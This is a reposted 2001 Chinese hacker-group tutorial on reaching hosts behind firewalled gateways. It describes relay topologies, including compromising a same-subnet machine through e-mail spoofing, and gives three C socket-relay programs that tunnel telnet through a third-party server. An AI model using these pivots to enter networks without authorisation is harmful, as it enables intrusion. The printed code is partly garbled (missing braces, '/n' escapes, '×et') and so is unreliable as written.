您的位置:首页 > 其它

连接内网的几种模式

2007-05-02 19:24 239 查看
连接内网的几种模式 

作者:bkbll

作者著:在写这篇文章之前,首先要感谢eyas的”突破TCP-IP过滤防火墙进入内网”一文以及相关代码.同样的,本篇只是作为技术讨论,并不鼓励大家 对内网进行攻击和破坏.由于本人对visual系列软件不怎么熟悉,所以一切程序的编写和调试都是基于 linux 的.在我的redhat linux 6.2(2.2.14)和叶云的(2.4.2)上调试通过,感谢叶云提供测试环境.
环境模拟: 
  假设网络拓扑结构如下(简单模拟,复杂点的类推): 
                 internet连接 
自己网关(202.96.x.x)(eth1)(B)------------------|---------------------(eth1)目标网关
        (216.130.x.x)(D)
                   (eth0)           |           (eth0) 
            |        internet上另外一台server(210.43.x.x)(C)    | 
自己机器(192.168.0.3) (A)
             ------------------------------------------------------------------- 
               |                      | 
           目标子网机器(192.168.0.8)(E)    同一子网机器(192.168.0.9)(F) 

这里分别用A,B,C,D,E,F来表示自己机器,自己的网关,网络上的可供使用的机器,目标网关,目标机器. 
如果您想连接目标机器E的23端口,这里有几种模式: 
1. 您已经取得了目标网关D基本权限,可以运行程序. 
参照eyas的” 突破TCP-IP过滤防火墙进入内网(1)”.eyas关于这个写的很详细. 
2. 目标网关有防火墙,不能自定义监听端口,自己可以在自己的网关(B)上运行程序. 
参照eyas的” 突破TCP-IP过滤防火墙进入内网(1)”,同样写的很详细. 
3. 目标网关有防火墙,不能自定义监听端口,自己没有在网关(B)上运行程序的权限. 
   这个时候您就需要另外一台服务器C来替我们服务了.(网络上这种机器很多,呵呵~.不要问我怎么获得哦). 
 我们在C上,运行一个程序同时监听两个端口,比如5555和6666,如果有两个端口都有client连接过来,那么就开一个线程进行socket转包 通讯.此时在D上我们用一个程序分别连接C的5555端口以及内网的E机器23端口,这个时候一个socket通道就已经建立好了,我们在A上运行 telnet C 6666,其实和登陆E的23端口是一样的. 
4. 标网关有防火墙,且自己没有取得任何权限.但是可以在和它居于同一个子网的另外一个机器F上面运行程序(不要告诉我不可能,M$当年据说souce codes都被俄罗斯的hack们偷到了.现在IE,OE的漏洞那么多,用电子邮件欺骗就可以做到了J),但是同样不能直接访问. 
   如果我们没有自己网关运行程序的权限,那么我们需要另外一台服务器C来替我们帮忙.J.首先和3一样,在C上运行同时监听两个端口的程序,然后我们在F上 运行一个程序,主动连接C的5555端口,然后再连接到E的23端口,由于是内网主动连接,所以不必考虑网关的过滤J.和3一样,如果A连接到C的 6666,同样被忠实的转到了E的23上面. 
通过以上的说明,我们知道要想和内网,外网之间通讯的话,必须要有三个程序:一个是在本机同时监听两个端口并进行socket转发的程序;第二个是在本机 监听一个端口,同时连接另外一个服务器并进行socket转发的程序,;第三个就是同时连接两个服务器并进行socket转发的程序.利用这三个程序的排 列组合,理论上,可以允许连接任何内网. 
第一个程序: 
/* 
localhost sockets transmit one port to another port 
sockets transmit code. 
powerd by bkbll(bkbll@cnhonker.net) 
welcome to visite our website:http://www.cnhonker.net. 
tested in Redhat 6.2(kernel:2.2.14 on i386) 
thanks eyas's codes used for reference :) 
*/ 
#include <pthread.h> 
#include <sys/time.h> 
#include "inet.h" 
#include <errno.h> 

#define TIMEOUT 300 
#define max(a,b) (a)>(b)?(a):(b) 
#define MAXSIZE 10240 

extern int create_socket(); 
extern int create_serv(); 
extern int client_connect(); 

int out_fd,in_fd,maxfd; 
main(int argc,char **argv) 

 int listfd1,listfd2; 
 int listenp1,listenp2,size1,size2; 
 pthread_t thread1; 
 pid_t pid1,pid2; 
 extern int errno; 
 struct sockaddr_in client1,client2; 
 void out2in(); 

 if(argc!=3){printf("usage:%s <listen port1> <listen port2>/n",argv[0]);exit(1);} 
  
 if(!(listfd1=create_socket()))exit(1); 
 if(!(listfd2=create_socket()))exit(1); 

 listenp1=atoi(argv[1]); 
 listenp2=atoi(argv[2]); 
 if(!(create_serv(listfd1,listenp1)))exit(1); 
 if(!(create_serv(listfd2,listenp2)))exit(1); 
 printf("#################################################################/n"); 
 printf("####### server_convert socket bye bkbll(bkbll@cnhonker.net)######/n"); 
 printf("#################### http://www.cnhonker.net#####################/n/n "); 
 for(;;) 
   { 
  size1=sizeof(struct sockaddr); 
  size2=sizeof(struct sockaddr); 
  printf("waiting for response........./n"); 
  if((out_fd=accept(listfd1,(struct sockaddr *)&client1,&size1))<0){printf("accept error/n");continue;} 
  printf("accept a client on %d from %s,waiting another..../n",listenp1,inet_ntoa(client1.sin_addr)); 
  
  if((in_fd=accept(listfd2,(struct sockaddr *)&client2,&size2))<0){printf("accept error/n");continue;} 
  printf("accept a client on %d from %s/n",listenp2,inet_ntoa(client2.sin_addr)); 
  
  maxfd=max(out_fd,in_fd)+1; 
     
    pthread_create(&thread1,NULL,(void *)&out2in,NULL); 
    
   } 
 close(listfd2); 
 close(listfd1); 


void out2in() 

  struct timeval timeset; 
  fd_set readfd,writefd; 
  int result,i=0; 
  int maxone; 
  char read_in1[MAXSIZE],send_out1[MAXSIZE]; 
  char read_in2[MAXSIZE],send_out2[MAXSIZE]; 
  int read1=0,totalread1=0,send1=0; 
  int read2=0,totalread2=0,send2=0; 
  
  maxone=maxfd; 
  bzero(read_in1,MAXSIZE); 
  bzero(read_in2,MAXSIZE); 
  bzero(send_out1,MAXSIZE); 
  bzero(send_out2,MAXSIZE); 
  
  timeset.tv_sec=TIMEOUT; 
  timeset.tv_usec=0; 
  while(1) 
  { 
  FD_ZERO(&readfd); 
  FD_ZERO(&writefd); 
  
  FD_SET(out_fd,&readfd); 
    FD_SET(in_fd,&writefd); 
  FD_SET(out_fd,&writefd); 
  FD_SET(in_fd,&readfd); 
  
  result=select(maxone,&readfd,&writefd,NULL,×et); 
  if(result<0){ 
  printf("select error/n"); 
  switch(errno){ 
  case EBADF:printf("An invalid file descriptor was given in one of the sets./n");break; 
  case EINTR:printf("A non blocked signal was caught./n");break; 
  case EINVAL:printf("n is negative./n");break; 
  case ENOMEM:printf("select was unable to allocate memory for internal tables./n");break; 
  } 
  break;} 
  else if(result==0){printf("time out/n");break;} 
  if(FD_ISSET(out_fd,&readfd)) 
   { 
    read1=recv(out_fd,read_in1,MAXSIZE,0); 
  if(read1==0){printf("break/n");break;} 
  if(read1<0){printf("read data error from out/n");break;} 
      memcpy(send_out1+totalread1,read_in1,read1); 
      totalread1+=read1; 
      bzero(read_in1,MAXSIZE); 
     } 
  if(FD_ISSET(in_fd,&writefd)) 
   { 
     while(totalread1>0) 
     { 
     send1=write(in_fd,send_out1,totalread1); 
     if(send1==0){printf("break/n");break;} 
     if(send1<0){printf("unknow error/n");break;} 
     totalread1-=send1; 
     } 
     bzero(send_out1,MAXSIZE); 

    if(FD_ISSET(in_fd,&readfd)) 
   { 
    read2=recv(in_fd,read_in2,MAXSIZE,0); 
  if(read2==0){printf("break/n");break;} 
  if(read2<0){printf("read data error from in/n");break;} 
      memcpy(send_out2+totalread2,read_in2,read2); 
      totalread2+=read2; 
      bzero(read_in2,MAXSIZE); 
     } 
  if(FD_ISSET(out_fd,&writefd)) 
   { 
     while(totalread2>0) 
     { 
     send2=write(out_fd,send_out2,totalread2); 
     if(send2==0){printf("break/n");break;} 
     if(send2<0){printf("unknow error/n");break;} 
     totalread2-=send2; 
     } 
     bzero(send_out2,MAXSIZE); 

 }   
close(in_fd); 
close(out_fd); 
return; 


/* http://www.cnhonker.net  Sep 14,2001*/ 

第二个程序: 
/* 
localhost sockets transmit one port to another port 
sockets transmit code. 
powerd by bkbll(bkbll@cnhonker.net) 
welcome to visite our website:http://www.cnhonker.net. 
tested in Redhat 6.2(kernel:2.2.14 on i386) 
thanks eyas's codes used for reference :) 
*/ 
#include <pthread.h> 
#include <sys/time.h> 
#include "inet.h" 

#define TIMEOUT 300 
#define max(a,b) (a)>(b)?(a):(b) 
#define MAXSIZE 10240 

extern int create_socket(); 
extern int create_serv(); 
extern int client_connect(); 

int maxfd,infd,outfd; 
main(int argc,char **argv) 

 int listfd,outside,inside; 
 int listenp,targetp,size; 
 pthread_t thread1; 
 struct sockaddr_in client; 
 void out2in(int out,int in); 
 int quit(int a,int b,int c); 
  
 if(argc!=4){printf("usage:%s <listen port> <targethost> <target port>/n",argv[0]);exit(1);} 

 if(!(listfd=create_socket()))exit(1); 
 listenp=atoi(argv[1]); 
 targetp=atoi(argv[3]); 
 if(!(create_serv(listfd,listenp)))exit(1); 
  
 for(;;) 
   { 
  size=sizeof(struct sockaddr); 
  printf("waiting for response........./n"); 
  if((outfd=accept(listfd,(struct sockaddr *)&client,&size))<0){printf("accept error/n");continue;} 
  printf("accept a client from %s/n",inet_ntoa(client.sin_addr)); 
  if(!(infd=create_socket()))exit(1); 
  if(!(client_connect(infd,argv[2],targetp)))quit(outfd,infd,listfd);  
     
    maxfd=max(outfd,infd)+1; 
    pthread_create(&thread1,NULL,(void *)&out2in,NULL); 
     
   } 
 close(listfd); 


int quit(int a,int b,int c) 

close(a); 
close(b); 
close(c); 
exit(1); 


void out2in() 

  struct timeval timeset; 
  fd_set readfd,writefd; 
  int result,i=0; 
  char read_in1[MAXSIZE],send_out1[MAXSIZE]; 
  char read_in2[MAXSIZE],send_out2[MAXSIZE]; 
  int read1=0,totalread1=0,send1=0; 
  int read2=0,totalread2=0,send2=0; 
  int out_fd,in_fd; 
  
  out_fd=outfd; 
  in_fd=infd; 
  
  bzero(read_in1,MAXSIZE); 
  bzero(read_in2,MAXSIZE); 
  bzero(send_out1,MAXSIZE); 
  bzero(send_out2,MAXSIZE); 
  
  timeset.tv_sec=TIMEOUT; 
  timeset.tv_usec=0; 
  while(1) 
  { 
  FD_ZERO(&readfd); 
  FD_ZERO(&writefd); 
  
  FD_SET(out_fd,&readfd); 
    FD_SET(in_fd,&writefd); 
  FD_SET(out_fd,&writefd); 
  FD_SET(in_fd,&readfd); 
  
  result=select(maxfd,&readfd,&writefd,NULL,×et); 
  if(result<0){printf("select error/n");return;} 
  else if(result==0){printf("time out/n");return;} 
  if(FD_ISSET(out_fd,&readfd)) 
   { 
    read1=recv(out_fd,read_in1,MAXSIZE,0); 
  if(read1==0)break; 
  if(read1<0){printf("read data error/n");return;} 
      memcpy(send_out1+totalread1,read_in1,read1); 
      totalread1+=read1; 
      bzero(read_in1,MAXSIZE); 
     } 
  if(FD_ISSET(in_fd,&writefd)) 
   { 
     while(totalread1>0) 
     { 
     send1=write(in_fd,send_out1,totalread1); 
     if(send1==0)break; 
     if(send1<0){printf("unknow error/n");continue;} 
     totalread1-=send1; 
     } 
     bzero(send_out1,MAXSIZE); 

    if(FD_ISSET(in_fd,&readfd)) 
   { 
    read2=recv(in_fd,read_in2,MAXSIZE,0); 
  if(read2==0)break; 
  if(read2<0){printf("read data error/n");return;} 
      memcpy(send_out2+totalread2,read_in2,read2); 
      totalread2+=read2; 
      bzero(read_in2,MAXSIZE); 
     } 
  if(FD_ISSET(out_fd,&writefd)) 
   { 
     while(totalread2>0) 
     { 
     send2=write(out_fd,send_out2,totalread2); 
     if(send2==0)break; 
     if(send2<0){printf("unknow error/n");continue;} 
     totalread2-=send2; 
     } 
     bzero(send_out2,MAXSIZE); 

 }   
close(out_fd); 
close(in_fd); 
return; 


第三个程序 
/* 
localhost sockets transmit one port to another port 
sockets transmit code. 
powerd by bkbll(bkbll@cnhonker.net) 
welcome to visite our website:http://www.cnhonker.net. 
tested in Redhat 6.2(kernel:2.2.14 on i386) 
thanks eyas's codes used for reference :) 
*/ 
#include <pthread.h> 
#include <sys/time.h> 
#include "inet.h" 

#define TIMEOUT 300 
#define max(a,b) (a)>(b)?(a):(b) 
#define MAXSIZE 10240 

extern int create_socket(); 
extern int create_serv(); 
extern int client_connect(); 

int localp,targetp; 
char server[15],server1[15]; 
main(int argc,char **argv) 

 int listfd; 

 pthread_t thread1,thread2,thread3,thread4,thread5,thread6,thread7,thread8; 
 struct sockaddr_in client; 
  
 int conn(); 
 int quit(int a,int b,int c); 
  
 if(argc!=5){printf("usage:%s <targethost1> <target1 port> <targethost1> <target2 port>/n",argv[0]);exit(1);} 

 localp=atoi(argv[2]); 
 targetp=atoi(argv[4]); 
 bzero(server,15); 
 bzero(server1,15); 
 memcpy(server,argv[3],15); 
 memcpy(server1,argv[1],15); 
printf("#################################################################/n"); 
printf("####### local_convert socket bye bkbll(bkbll@cnhonker.net)#######/n"); 
printf("#################### http://www.cnhonker.net#####################/n/n "); 
 while(1){ 
 if(conn()==0)break; 
 sleep(1); 
 } 


int quit(int a,int b,int c) 

close(a); 
close(b); 
close(c); 
exit(1); 


int conn() 

 int size; 
 int out_fd,in_fd,maxfd; 
 void out2in(int out_fd,int in_fd,int maxfd); 
  
 size=sizeof(struct sockaddr); 
 printf("connectting to %s:%d.........",server,targetp); 
  
 if(!(out_fd=create_socket()))exit(1); 
 if(!(client_connect(out_fd,server,targetp))){close(out_fd);return(0);} 
 else{printf("success/n");} 
  
  printf("connectting to %s:%d.........",server1,localp); 
 if(!(in_fd=create_socket()))exit(1); 
 if(!(client_connect(in_fd,server1,localp))){close(in_fd);close(out_fd);return(0);}  
 else{printf("success/n");} 
     
 maxfd=max(out_fd,in_fd)+1; 
 out2in(out_fd,in_fd,maxfd); 
 close(out_fd); 
 close(in_fd); 
 return(1); 


void out2in(int out_fd,int in_fd,int maxfd) 

  struct timeval timeset; 
  fd_set readfd,writefd; 
  int result,i=0; 
  char read_in1[MAXSIZE],send_out1[MAXSIZE]; 
  char read_in2[MAXSIZE],send_out2[MAXSIZE]; 
  int read1=0,totalread1=0,send1=0; 
  int read2=0,totalread2=0,send2=0; 
  
  bzero(read_in1,MAXSIZE); 
  bzero(read_in2,MAXSIZE); 
  bzero(send_out1,MAXSIZE); 
  bzero(send_out2,MAXSIZE); 
  
  timeset.tv_sec=TIMEOUT; 
  timeset.tv_usec=0; 
  while(1) 
  { 
  FD_ZERO(&readfd); 
  FD_ZERO(&writefd); 
  
  FD_SET(out_fd,&readfd); 
    FD_SET(in_fd,&writefd); 
  FD_SET(out_fd,&writefd); 
  FD_SET(in_fd,&readfd); 
  
  result=select(maxfd,&readfd,&writefd,NULL,×et); 
  if(result<0){printf("select error/n");break;} 
  else if(result==0){printf("time out/n");break;} 
  if(FD_ISSET(out_fd,&readfd)) 
   { 
    read1=recv(out_fd,read_in1,MAXSIZE,0); 
  if(read1==0)break; 
  if(read1<0){printf("read data error/n");break;} 
      memcpy(send_out1+totalread1,read_in1,read1); 
      totalread1+=read1; 
      bzero(read_in1,MAXSIZE); 
     } 
  if(FD_ISSET(in_fd,&writefd)) 
   { 
     while(totalread1>0) 
     { 
     send1=write(in_fd,send_out1,totalread1); 
     if(send1==0)break; 
     if(send1<0){printf("unknow error/n");break;} 
     totalread1-=send1; 
     } 
     bzero(send_out1,MAXSIZE); 

    if(FD_ISSET(in_fd,&readfd)) 
   { 
    read2=recv(in_fd,read_in2,MAXSIZE,0); 
  if(read2==0)break; 
  if(read2<0){printf("read data error/n");break;} 
      memcpy(send_out2+totalread2,read_in2,read2); 
      totalread2+=read2; 
      bzero(read_in2,MAXSIZE); 
     } 
  if(FD_ISSET(out_fd,&writefd)) 
   { 
     while(totalread2>0) 
     { 
     send2=write(out_fd,send_out2,totalread2); 
     if(send2==0)break; 
     if(send2<0){printf("unknow error/n");break;} 
     totalread2-=send2; 
     } 
     bzero(send_out2,MAXSIZE); 

 }   
close(out_fd); 
close(in_fd); 
return; 


/* http://www.cnhonker.net  Sep 14,2001*/ 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息